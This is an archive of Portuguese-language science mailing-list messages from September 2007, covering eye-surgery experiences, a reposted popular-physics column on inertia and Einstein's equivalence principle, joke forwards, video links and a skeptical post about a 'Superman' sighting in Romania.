O resultado valeu a pena, estou sem óculos desde dia 13 de abril, a recuperação foi super rápida, saí da clínica já enchergando e em 1 semana n~]ao sentia desconforto algum, em 2 semanas já não sentia incômodo devido a sensibilidade a luz direta diferente de quando tinha acabado de sair da operação.

Meus inconvenientes foram que sobraram 0,25 de astigmatismo em cada olho e 0,50 de hipermetropia no olho direito (nesse caso ocorreu uma hipercorreção.

A clínica deixou claro em todo instante que é possível fazer o retoque da cirurgia caso esta deficiência seja incômoda, mas de nenhuma forma tal grau chega a incomodar, esperava que minha visão não iria ficar boa pois para astigmatiste meu grau era elevadíssimo, tanto que para lentes de contato eu tinha que isar lentes tóricas, MUITO mais caras que as convencionais (4 jogos de lentes pagavam a cirurgia, para efeito comparativo)

Bom, a visão... melhorou 100%, claro, antes só enchergava nítido poucos minutos após lavar os óculos com detergente ou usando lentes de contato, agora, sempre enchergando 100% =)

[]'s!


Ivan Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666





-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Michel Moccelin Viccari
Sent: Monday, September 24, 2007 9:36 AM
To: ciência list
Subject: [ciencialist] Lentes de òculos - Cirurgia de correção

Olá pessoal tudo bem?
Bah quando tenho que fazer minha lente de óculos nunca sei qual escolher, não sei se confio na palavra do vendedor e do meu médico...
Qual é o melhor tipo de lente custoXbenefício?

Alguém já fez a cirurgia corretiva? O resultado valeu a pena? Ficou algum incoveniente? A qualidade da visão melhorou? Comentem por favor...
Muito obrigado pela atenção
Michel

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

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SUBJECT: Re: [ciencialist] Física genuina para todos
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 10:37

Oi Victor, dê uma olhadinha em

http://www.feiradeciencias.com.br/sala19/texto11.asp#6

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 23 de setembro de 2007 04:32
Assunto: [ciencialist] Física genuina para todos


Lista,

O endereço http://cienciahoje.uol.com.br/101328, como de costume, exibe notícias de interêsse imediato. Destas, destaco o artigo abaixo, que copiei e colei, para facilitar para vós outros. O autor faz uma bela dissertação a respeito deste tema tão comum e "visceralmente" ligado ao nosso dia a dia, de uma maneira apropriada a uma divulgação para não especialistas, interessados em saber o be-a-bá. Não chega a ser do nível do Léo, mas está prá lá de bom. O moço escreve de um jeito simples, despojado e correto, à luz dos conhecimentos científicos atuais, o de que muito gosto. E o que é melhor: física sem dor e gratuita. É mole, ou querem mais?

Sds,
Victor.



"O enigma do movimento
Colunista explica a conexão entre os movimentos acelerados e a gravidade








A aceleração sentida por um piloto de Fórmula 1 dentro do carro, que é de n vezes a aceleração da gravidade terrestre, faz com que ele sinta seu corpo comprimido contra o assento com a mesma intensidade. A imagem mostra o Grande Prêmio da Malásia de 2006. (Foto: Wikipédia)




Atualmente, a maioria das pessoas, sobretudo as que vivem em regiões urbanas, utilizam algum veículo para se locomover, especialmente automóveis. Quando o automóvel (ou qualquer outro veículo) entra em movimento, sentimos no seu interior uma força que nos comprime contra o assento. Quanto mais intensa é a aceleração, maior é essa força.

Durante as transmissões esportivas de corridas de Fórmula 1, por exemplo, é comum que se exibam gráficos mostrando a aceleração que o piloto está sentindo no cockpit , normalmente expressa em unidades de "g", que representa a aceleração da gravidade terrestre, que vale aproximadamente 9,8 m/s 2 . Dessa forma, quando o piloto sofre uma aceleração igual a 2 ou 3 "g", é como se ele sentisse duas ou três vezes o seu peso comprimindo-o contra o assento. O que o faz sentir essa sensação?

A explicação vem de um conceito introduzido por Galileu Galilei (1564-1642) conhecido como inércia. Galileu mostrou que um corpo permanecerá em repouso ou continuará a se mover com velocidade constante em uma linha reta a menos que um agente externo atue sobre ele. Isaac Newton (1643-1727) incorporou esse conceito na sua formulação da Mecânica Clássica e ele ficou conhecido como a 1ª Lei de Newton.

Quando o carro começa a se mover, o nosso corpo, de acordo com o princípio da inércia, tenderá a se manter no seu estado de repouso. O assento, ligado ao carro, empurra o nosso corpo e esse reage empurrando o banco. Da mesma maneira, quando o automóvel freia bruscamente, somos arremessados para frente, pois o carro pára, mas nós continuamos em movimento. Quanto maior for a massa do corpo, mais difícil é alterar o seu estado de movimento. Portanto, é mais difícil parar um caminhão com várias toneladas do que um carro, pois a sua inércia é maior.

Uma outra situação na qual sentimos esse efeito é quando estamos em pé em um ônibus urbano e este faz uma curva fechada, por exemplo, para a direita. Ao acontecer isso, sentimos "uma força" nos impulsionando para a esquerda.


Einstein por volta de 1905, no escritório de patentes em Berna (Suíça).



Entretanto, uma pessoa que estivesse na calçada descreveria a situação de maneira diferente. Para ela, o ônibus mudou a sua trajetória e quem está dentro dele continuou a se movimentar em linha reta, como prevê a 1ª Lei de Newton. Para esse observador, não existe força nenhuma atuando sobre os passageiros do ônibus, apenas a ação da tendência de todos os corpos manterem o seu estado de movimento. Mas quem tem a resposta correta? Existe uma força ou é apenas uma ilusão para quem viaja no ônibus? Qual é a origem dessa força que nos arremessa contra a parede do ônibus?

Questões como essas despertaram o interesse de Albert Einstein (1879-1955). Por volta do ano de 1907, ele pensava em uma forma de generalizar a Teoria da Relatividade Restrita, que ele tinha proposto em 1905 (veja a coluna Sonhos de um jovem visionário ). Segundo essa teoria, nenhum observador poderia ser considerado privilegiado em relação a outro qualquer. Quando Einstein formulou essa hipótese, ele apenas considerou a sua validade para os chamados "observadores inerciais", que, como diz o próprio nome, são observadores que mantêm o seu estado de movimento e não estão sujeitos à ação de forças.

Inércia X gravidade
Havia também uma questão que incomodava Einstein. Como a gravidade atua sobre os corpos independentemente do material ou do estado físico do corpo? Podemos pensar nessa questão da seguinte maneira: um corpo sob a ação de uma força sofre uma determinada aceleração de acordo com a sua massa. Nesse contexto, essa é a massa inercial do corpo, pois a inércia está relacionada ao estado de movimento. Por outro lado, se a força que atua sobre o corpo é a força gravitacional, esta é igual ao produto da massa (agora chamada de massa gravitacional) pelo campo gravitacional. Como era conhecido desde a época de Newton, ambas as massas têm o mesmo valor. Contudo, para Einstein, isso significava que ora a mesma qualidade (massa) do corpo se manifesta como "inércia", ora como "gravidade".

Essa conseqüência levou à elaboração do chamado Princípio da Equivalência, segundo o qual as experiências realizadas localmente na presença de um campo gravitacional dão os mesmos resultados que as realizadas em um sistema de referência não-inercial (observador acelerado). Por exemplo, na Estação Espacial Internacional, que se encontra a uma altitude de 600 km em relação ao solo, costumamos ver os astronautas flutuarem e afirma-se que eles não estão sofrendo a ação da gravidade. Porém, esta afirmação estará correta ou incorreta dependendo do ponto de vista.


Quando vemos o interior da Estação Espacial Internacional, temos a impressão de que lá não há gravidade, pois os astronautas estão flutuando. Mas, se observarmos a estação de qualquer ponto da superfície terrestre, verificaremos que ela está caindo o tempo todo na direção da Terra, que se afasta na mesma proporção. (Foto: Nasa).



Se considerarmos o interior da estação espacial, teremos a impressão de que não há gravidade naquele local. Entretanto, se observarmos de fora da estação, de qualquer ponto da superfície terrestre, verificaremos que os astronautas estão caindo o tempo todo na direção da Terra. Eles - e a estação espacial - nunca chegam ao solo, pois, à medida que caem, a superfície da Terra (que é curva) se afasta na mesma proporção. Levando em conta esse referencial, existe sem dúvida a ação de uma força.

Da mesma maneira, um astronauta no interior de um foguete que está viajando no espaço profundo, longe da influência gravitacional de qualquer objeto celeste, mas com uma aceleração igual à da gravidade terrestre, terá a sensação de estar sobre a superfície da Terra. Se ele subir em uma balança para medir o seu peso, terá o mesmo valor de quando o mediu em uma balança na Terra. Será também fisicamente impossível para ele distinguir se o seu foguete está estacionado sobre a superfície da Terra ou viajando aceleradamente. Portanto, em ambas as situações, não se pode distinguir qual é de fato a ação que está ocorrendo.

Segundo o Princípio da Equivalência, não podemos saber, no caso do ônibus fazendo a curva, se estamos em um sistema acelerado ou se existe um campo gravitacional que nos puxa para fora (a não ser que haja alguma informação externa ao ônibus). Essa surpreendente constatação de Einstein levou à formulação da sua Teoria da Relatividade Geral, que em sua essência é uma nova teoria da gravitação, que modificou completamente a maneira de vermos o espaço e o tempo. A partir dessa teoria, pode-se compreender que a inércia está associada à gravidade e esta, por sua vez, à curvatura do espaço provocada pela presença da massa. Essa fantástica idéia, que abordarei futuramente, foi uma das maiores revoluções científicas de toda a história. Ela finalmente resolveu o enigma do movimento.




Adilson de Oliveira
Departamento de Física
Universidade Federal de São Carlos
21/09/2007 "


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SUBJECT: Re: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/09/2007 11:16

Os óculos que uso (de vez em quando) agora eu comprei pela internet de
uma companhia em Hong Kong, e fiquei BEM satisfeito com a relação
custo/benefício. Comentei no meu blog:
http://100nexos.com/arquivo/145

Os maiores inconvenientes são não poder experimentar antes de pagar
(online...), a necessidade de ter um cartão de crédito, e aqui no
Brasil, a alfândega reclamar. Também é preciso entender inglês. Mas
pode valer a pena. O que as óticas por aqui cobram é absurdo; duas,
três, quatro vezes o preço de custo. Se vc já se perguntou por q há
tantas óticas por aqui, esta é uma das respostas.

Cirurgias corretivas, de todo mundo que já conheci e fez, todos
estavam satisfeitos. Mas ela quase nunca corrigirá perfeitamente, e
mesmo que o faça, com o tempo a miopia/hipermetropia/astimgatismo
podem voltar, ainda que sutilmente. Ainda será preciso usar óculos,
ainda que leves. Por isso só recomendam para graus bem altos mesmo.

[]

Mori


SUBJECT: Fw: venda de experiencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 17:50

Como faço para vender minhas experiências? Quando devo cobrar? Como coloco em mídia aquela experiência que tive com a Glória num galho de uma mangueira? E aquela em que cortei o dedo ao cortar o pepino para uma salada? E aquela que tive quando produzi 0,9 g de ectoplasma num frasco de Florence?

bem ..........

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Renata gomes da silveira" <renatinha_gomess@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: segunda-feira, 24 de setembro de 2007 12:55


|
| Oii queria saber se você vende suas experiencias, estou precisando para
| minha feira de ciências e é pra Quinta feira[27/09] se tiver como você me
| manda um e-mail com os preços e como faço o pagamento.
|
| Desde já agradeço.
|
|
| bjinhus Renat!nha!!!!!!
|
| _________________________________________________________________
| Chegou o Windows Live Spaces com rede social. Confira
| http://spaces.live.com/
|
|
|
| --
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|
|


SUBJECT: Fw: fio de platina
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 17:53

Help!
Será que meu nome (ou do site) aparece em 'produção de Fieiras'?
Bem 'produção de Freiras' ... não quero nem tentar achar via Google!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: DENISE
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 24 de setembro de 2007 10:54
Assunto: fio de platina


Bom dia,



Preciso comprar fio de platina para uso na produção de Fieiras, estamos precisando deste material urgente. Pesquisei na Internet e achei seu e-mail.



Preciso saber se tem algum lugar aqui em Santo André ou ABC que eu possa comprar?



Aguardo uma posição urgente, desde já agradeço antecipadamente.



Atenciosamente





Denise Lindolfo

Quality Dies

Depto. Compras

PABX 4991-7251

E-MAIL: compras@qualitydies.com.br

SITE: www.qualitydies.com.br







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SUBJECT: RES: [ciencialist] Física genuina para todos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/09/2007 21:13

Léo,

Belo, simples e instrutivo texto. E original.

Vou imprimi-lo para meu sobrinho.

Acho que ele vai incomodar seus professores, perguntando-lhes o que você
expôs!.



Vou só esperar o resultado...



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: segunda-feira, 24 de setembro de 2007 10:38
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Física genuina para todos



Oi Victor, dê uma olhadinha em

http://www.feiradeciencias.com.br/sala19/texto11.asp#6

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: domingo, 23 de setembro de 2007 04:32
Assunto: [ciencialist] Física genuina para todos

Lista,

O endereço http://cienciahoje.uol.com.br/101328, como de costume, exibe
notícias de interêsse imediato. Destas, destaco o artigo abaixo, que copiei
e colei, para facilitar para vós outros. O autor faz uma bela dissertação a
respeito deste tema tão comum e "visceralmente" ligado ao nosso dia a dia,
de uma maneira apropriada a uma divulgação para não especialistas,
interessados em saber o be-a-bá. Não chega a ser do nível do Léo, mas está
prá lá de bom. O moço escreve de um jeito simples, despojado e correto, à
luz dos conhecimentos científicos atuais, o de que muito gosto. E o que é
melhor: física sem dor e gratuita. É mole, ou querem mais?

Sds,
Victor.

"O enigma do movimento
Colunista explica a conexão entre os movimentos acelerados e a gravidade


A aceleração sentida por um piloto de Fórmula 1 dentro do carro, que é de n
vezes a aceleração da gravidade terrestre, faz com que ele sinta seu corpo
comprimido contra o assento com a mesma intensidade. A imagem mostra o
Grande Prêmio da Malásia de 2006. (Foto: Wikipédia)




Atualmente, a maioria das pessoas, sobretudo as que vivem em regiões
urbanas, utilizam algum veículo para se locomover, especialmente automóveis.
Quando o automóvel (ou qualquer outro veículo) entra em movimento, sentimos
no seu interior uma força que nos comprime contra o assento. Quanto mais
intensa é a aceleração, maior é essa força.

Durante as transmissões esportivas de corridas de Fórmula 1, por exemplo, é
comum que se exibam gráficos mostrando a aceleração que o piloto está
sentindo no cockpit , normalmente expressa em unidades de "g", que
representa a aceleração da gravidade terrestre, que vale aproximadamente 9,8
m/s 2 . Dessa forma, quando o piloto sofre uma aceleração igual a 2 ou 3
"g", é como se ele sentisse duas ou três vezes o seu peso comprimindo-o
contra o assento. O que o faz sentir essa sensação?

A explicação vem de um conceito introduzido por Galileu Galilei (1564-1642)
conhecido como inércia. Galileu mostrou que um corpo permanecerá em repouso
ou continuará a se mover com velocidade constante em uma linha reta a menos
que um agente externo atue sobre ele. Isaac Newton (1643-1727) incorporou
esse conceito na sua formulação da Mecânica Clássica e ele ficou conhecido
como a 1ª Lei de Newton.

Quando o carro começa a se mover, o nosso corpo, de acordo com o princípio
da inércia, tenderá a se manter no seu estado de repouso. O assento, ligado
ao carro, empurra o nosso corpo e esse reage empurrando o banco. Da mesma
maneira, quando o automóvel freia bruscamente, somos arremessados para
frente, pois o carro pára, mas nós continuamos em movimento. Quanto maior
for a massa do corpo, mais difícil é alterar o seu estado de movimento.
Portanto, é mais difícil parar um caminhão com várias toneladas do que um
carro, pois a sua inércia é maior.

Uma outra situação na qual sentimos esse efeito é quando estamos em pé em um
ônibus urbano e este faz uma curva fechada, por exemplo, para a direita. Ao
acontecer isso, sentimos "uma força" nos impulsionando para a esquerda.

Einstein por volta de 1905, no escritório de patentes em Berna (Suíça).



Entretanto, uma pessoa que estivesse na calçada descreveria a situação de
maneira diferente. Para ela, o ônibus mudou a sua trajetória e quem está
dentro dele continuou a se movimentar em linha reta, como prevê a 1ª Lei de
Newton. Para esse observador, não existe força nenhuma atuando sobre os
passageiros do ônibus, apenas a ação da tendência de todos os corpos
manterem o seu estado de movimento. Mas quem tem a resposta correta? Existe
uma força ou é apenas uma ilusão para quem viaja no ônibus? Qual é a origem
dessa força que nos arremessa contra a parede do ônibus?

Questões como essas despertaram o interesse de Albert Einstein (1879-1955).
Por volta do ano de 1907, ele pensava em uma forma de generalizar a Teoria
da Relatividade Restrita, que ele tinha proposto em 1905 (veja a coluna
Sonhos de um jovem visionário ). Segundo essa teoria, nenhum observador
poderia ser considerado privilegiado em relação a outro qualquer. Quando
Einstein formulou essa hipótese, ele apenas considerou a sua validade para
os chamados "observadores inerciais", que, como diz o próprio nome, são
observadores que mantêm o seu estado de movimento e não estão sujeitos à
ação de forças.

Inércia X gravidade
Havia também uma questão que incomodava Einstein. Como a gravidade atua
sobre os corpos independentemente do material ou do estado físico do corpo?
Podemos pensar nessa questão da seguinte maneira: um corpo sob a ação de uma
força sofre uma determinada aceleração de acordo com a sua massa. Nesse
contexto, essa é a massa inercial do corpo, pois a inércia está relacionada
ao estado de movimento. Por outro lado, se a força que atua sobre o corpo é
a força gravitacional, esta é igual ao produto da massa (agora chamada de
massa gravitacional) pelo campo gravitacional. Como era conhecido desde a
época de Newton, ambas as massas têm o mesmo valor. Contudo, para Einstein,
isso significava que ora a mesma qualidade (massa) do corpo se manifesta
como "inércia", ora como "gravidade".

Essa conseqüência levou à elaboração do chamado Princípio da Equivalência,
segundo o qual as experiências realizadas localmente na presença de um campo
gravitacional dão os mesmos resultados que as realizadas em um sistema de
referência não-inercial (observador acelerado). Por exemplo, na Estação
Espacial Internacional, que se encontra a uma altitude de 600 km em relação
ao solo, costumamos ver os astronautas flutuarem e afirma-se que eles não
estão sofrendo a ação da gravidade. Porém, esta afirmação estará correta ou
incorreta dependendo do ponto de vista.

Quando vemos o interior da Estação Espacial Internacional, temos a impressão
de que lá não há gravidade, pois os astronautas estão flutuando. Mas, se
observarmos a estação de qualquer ponto da superfície terrestre,
verificaremos que ela está caindo o tempo todo na direção da Terra, que se
afasta na mesma proporção. (Foto: Nasa).



Se considerarmos o interior da estação espacial, teremos a impressão de que
não há gravidade naquele local. Entretanto, se observarmos de fora da
estação, de qualquer ponto da superfície terrestre, verificaremos que os
astronautas estão caindo o tempo todo na direção da Terra. Eles - e a
estação espacial - nunca chegam ao solo, pois, à medida que caem, a
superfície da Terra (que é curva) se afasta na mesma proporção. Levando em
conta esse referencial, existe sem dúvida a ação de uma força.

Da mesma maneira, um astronauta no interior de um foguete que está viajando
no espaço profundo, longe da influência gravitacional de qualquer objeto
celeste, mas com uma aceleração igual à da gravidade terrestre, terá a
sensação de estar sobre a superfície da Terra. Se ele subir em uma balança
para medir o seu peso, terá o mesmo valor de quando o mediu em uma balança
na Terra. Será também fisicamente impossível para ele distinguir se o seu
foguete está estacionado sobre a superfície da Terra ou viajando
aceleradamente. Portanto, em ambas as situações, não se pode distinguir qual
é de fato a ação que está ocorrendo.

Segundo o Princípio da Equivalência, não podemos saber, no caso do ônibus
fazendo a curva, se estamos em um sistema acelerado ou se existe um campo
gravitacional que nos puxa para fora (a não ser que haja alguma informação
externa ao ônibus). Essa surpreendente constatação de Einstein levou à
formulação da sua Teoria da Relatividade Geral, que em sua essência é uma
nova teoria da gravitação, que modificou completamente a maneira de vermos o
espaço e o tempo. A partir dessa teoria, pode-se compreender que a inércia
está associada à gravidade e esta, por sua vez, à curvatura do espaço
provocada pela presença da massa. Essa fantástica idéia, que abordarei
futuramente, foi uma das maiores revoluções científicas de toda a história.
Ela finalmente resolveu o enigma do movimento.

Adilson de Oliveira
Departamento de Física
Universidade Federal de São Carlos
21/09/2007 "

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11:53





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SUBJECT: Animusic - 05 - Pipe Dream
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: y <ciencialist@yahoogrupos.com.br>
DATE: 25/09/2007 09:48


http://br.youtube.com/watch?v=KAvPRbh0jmE

abçomanos

FERRARI
Youtube: http://www.youtube.com/profile?user=budapracristo
Literatura: http://xixicomtinta.blogspot.com
Meditação: http://budapracristo.blogspot.com
Matrix: http://matrix-zero.blogspot.com
SatSilva: http://br.groups.yahoo.com/group/satsilva



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SUBJECT: RE: [ciencialist] Lentes de òculos - Cirurgia de correção
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/09/2007 09:52

Discordo sobre o comentário da cirurgia, conheço diversos casos onde o grau foi zerado em ambos os olhos e se manteve estável pelos 4 anos.

Mesmo meu caso q não ficou 101% devido a uma anomalia q me enquadrava com astigmatismo muito forte, o mínimo de grau que restou não me faz necessário usar óculos em qualquer situação

[]'s

Ivan Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666



-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of Kentaro Mori
Sent: Monday, September 24, 2007 11:16 AM
To: ciencialist@yahoogrupos.com.br
Subject: Re: [ciencialist] Lentes de òculos - Cirurgia de correção

Os óculos que uso (de vez em quando) agora eu comprei pela internet de
uma companhia em Hong Kong, e fiquei BEM satisfeito com a relação
custo/benefício. Comentei no meu blog:
http://100nexos.com/arquivo/145

Os maiores inconvenientes são não poder experimentar antes de pagar
(online...), a necessidade de ter um cartão de crédito, e aqui no
Brasil, a alfândega reclamar. Também é preciso entender inglês. Mas
pode valer a pena. O que as óticas por aqui cobram é absurdo; duas,
três, quatro vezes o preço de custo. Se vc já se perguntou por q há
tantas óticas por aqui, esta é uma das respostas.

Cirurgias corretivas, de todo mundo que já conheci e fez, todos
estavam satisfeitos. Mas ela quase nunca corrigirá perfeitamente, e
mesmo que o faça, com o tempo a miopia/hipermetropia/astimgatismo
podem voltar, ainda que sutilmente. Ainda será preciso usar óculos,
ainda que leves. Por isso só recomendam para graus bem altos mesmo.

[]

Mori


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SUBJECT: Mapa interativo: a jornada da humanidade
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, sbcr@yahoogroups.com, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 25/09/2007 21:04

Mapa interativo: a jornada da humanidade <http://100nexos.com/arquivo/295>

<http://www.bradshawfoundation.com/journey/>

A Bradshaw Foundation, em associa��o com Stephen Oppenheimer, apresenta uma
jornada virtual global do homem moderno nos �ltimos 160.000 anos. O mapa
mostra pela primeira vez a intera��o da migra��o e clima durante este
per�odo. Somos os descendentes de alguns pequenos grupos de africanos
tropicais que se uniram face � adversidade, n�o apenas encarando o risco de
extin��o, mas tamb�m o desenvolvimento de uma intera��o social e cultural
sofisticada expressa de muitas formas. Baseado em uma s�ntese de evid�ncia
de cromossomos Y e mtDNA com a aqueologia, climatologia e estudo de f�sseis,
Stephen Oppenheimer rastreou as rotas e a �poca da migra��o, colocando-a em
contexto com a arte rupestre pelo mundo.

Note como a civiliza��o surgiu h� apenas alguns milhares de anos � quase
toda esta jornada foi feita por ca�adores-coletores �, e para a cat�strofe
de Toba <http://en.wikipedia.org/wiki/Toba_catastrophe_theory>. Evid�ncias
sugerem que h� aproximadamente 75.000 anos, a popula��o total de seres
humanos no planeta foi reduzida a alguns milhares de indiv�duos. Por pouco
n�o ter�amos sido extintos. Veja como o clima e fatores geogr�ficos foram
cruciais para nossa jornada, e embora muitos n�o reconhe�am, apesar de
termos constru�do uma civiliza��o global e expandido nosso n�mero para mais
de seis bilh�es de indiv�duos, ainda continuamos imensamente dependentes de
tais fatores.

*Veja tamb�m:*
Mapeando as redes sociais do Novo
Testamento<http://100nexos.com/arquivo/79>Por algum motivo um certo
Jesus aparece de forma ...
O fen�meno camisa vermelha em Jornada nas
Estrelas<http://100nexos.com/arquivo/221>Analisando minuciosamente a
s�rie original...
Jornada ao mundo do paradoxo de ilus�o
<http://100nexos.com/arquivo/127>Curta de Eugen Erhan, "A journey in a
world of pa...
Trekkies: alem� canta o tema de abertura da s�rie original de Jornada nas
Estrelas <http://100nexos.com/arquivo/81> A comediante � Barbara
Sch�neberger. ...
2007: o ano em que fomos para a cidade <http://100nexos.com/arquivo/160> O
dia 23 de maio de 2007 foi um marco �nic...


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SUBJECT: Enc: [ciencialist] Fw: venda de experiencias
FROM: vernerstranz@click21.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 26/09/2007 05:53

Caro Professor com pê maiúsculo, talvez vc possa se considerar remunerado com
os "bjinhus" da Renatinha...
abraços, verner.
*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+

----- Mensagem encaminhada de Luiz Ferraz Netto <leobarretos@uol.com.br> -----
Data: Mon, 24 Sep 2007 17:50:02 -0300
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Responder para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Fw: venda de experiencias
Para: ciencialist <ciencialist@yahoogrupos.com.br>

Como faço para vender minhas experiências? Quando devo cobrar? Como coloco em
mídia aquela experiência que tive com a Glória num galho de uma mangueira? E
aquela em que cortei o dedo ao cortar o pepino para uma salada? E aquela que
tive quando produzi 0,9 g de ectoplasma num frasco de Florence?

bem ..........

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Renata gomes da silveira" <renatinha_gomess@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: segunda-feira, 24 de setembro de 2007 12:55


|
| Oii queria saber se você vende suas experiencias, estou precisando para
| minha feira de ciências e é pra Quinta feira[27/09] se tiver como você me
| manda um e-mail com os preços e como faço o pagamento.
|
| Desde já agradeço.
|
|
| bjinhus Renat!nha!!!!!!
|
| _________________________________________________________________
| Chegou o Windows Live Spaces com rede social. Confira
| http://spaces.live.com/
|
|
|
| --
| No virus found in this incoming message.
| Checked by AVG Free Edition.
| Version: 7.5.487 / Virus Database: 269.13.22/1015 - Release Date: 18/09/2007
11:53
|
|

----- Finalizar mensagem encaminhada -----



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tarifas muito baratas esperando por você. Aproveite!


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SUBJECT: Re: [ciencialist] Animusic - 05 - Pipe Dream
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 06:49

Sim,
isto apresentado
http://br.youtube.com/watch?v=KAvPRbh0jmE
confrontado
com isto
http://www.youtube.com/profile?user=budapracristo
pode ser considerado
a oitava maravilha no mundo da arte computacional.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: "y" <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 25 de setembro de 2007 09:48
Assunto: [ciencialist] Animusic - 05 - Pipe Dream



http://br.youtube.com/watch?v=KAvPRbh0jmE

abçomanos

FERRARI
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Checked by AVG Free Edition.
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SUBJECT: Re: [ciencialist] É um pássaro? É um avião? Não! É.
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/09/2007 10:10

Voava lentamente? Então não era o Super-Homem! Todo mundo sabe que o
Super-Homem não voa "lentamente", onde já se viu...

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
<exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>;
<UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>;
<Ufolista@yahoogrupos.com.br>; "lista CA"
<ceticismoaberto@yahoogrupos.com.br>
Sent: Sunday, September 23, 2007 12:01 PM
Subject: [ciencialist] É um pássaro? É um avião? Não! É.


É um pássaro? É um avião? Não!
É.<http://www.ceticismoaberto.com/news/?p=1001>

*Polícia investiga avistamento de "Super-Homem"
*A polícia investiga relatos de aldeões da Romênia que dizem ter visto uma
figura parecida com o Super-Homem voar pelo céu. Quase 20 locais, de Gemeni,
condado de Mehedinti, dizem que o OVNI vestia um traje azul brilhante,
exatamente como o do Super-Homem. Oficiais de polícia registraram os
testemunhos e dizem que eles descrevem a figura da mesma forma.
O policial Ion Anuta disse: "Falamos com pessoas de várias idades que são
todas cidadãs confiáveis de nossa vila. Todas dizem ter visto esta estranha
criatura que voou sobre suas casas em seu traje azul brilhante. Temos que
esperar para ver o que irá acontecer".
O local Constantin Toader, 41, disse: "Ele se parecia com o Super-Homem e
voava lentamente a aproximadamente 100 jardas do solo em posição ereta. Não
fazia nenhum som ou emitia fumaça. Estava apenas voando por aí".
[Ananova<http://www.ananova.com/news/story/sm_2517321.html?menu=news.quirkies>
]

Adorável. uma busca por "Constantin Toader" no
Google<http://www.google.com/search?q=%22Constantin+Toader%22&sourceid=navclient-ff&ie=UTF-8&rls=GGGL,GGGL:2006-20,GGGL:en>revela
várias fontes romenas, incluinda esta, com fotografias peculiares:

Fotografia de Toader, da nota "Am vazut un
extraterestru!<http://www2.click.ro/actualitate/am-vazut-un-extraterestru>"
- *cuidado*, o "veículo de notícias" tem mulheres peladas. O que diz muito
sobre a seriedade da notícia.
Apenas investigações no local poderiam solucionar o caso, embora sem
fotografias, vídeos, filmes, talvez seja impossível qualquer identificação.
Mas é mais um caso de "humanóides
voadores<http://www.ceticismoaberto.com/news/?p=973>",
comumente balões infantis.
Veja também

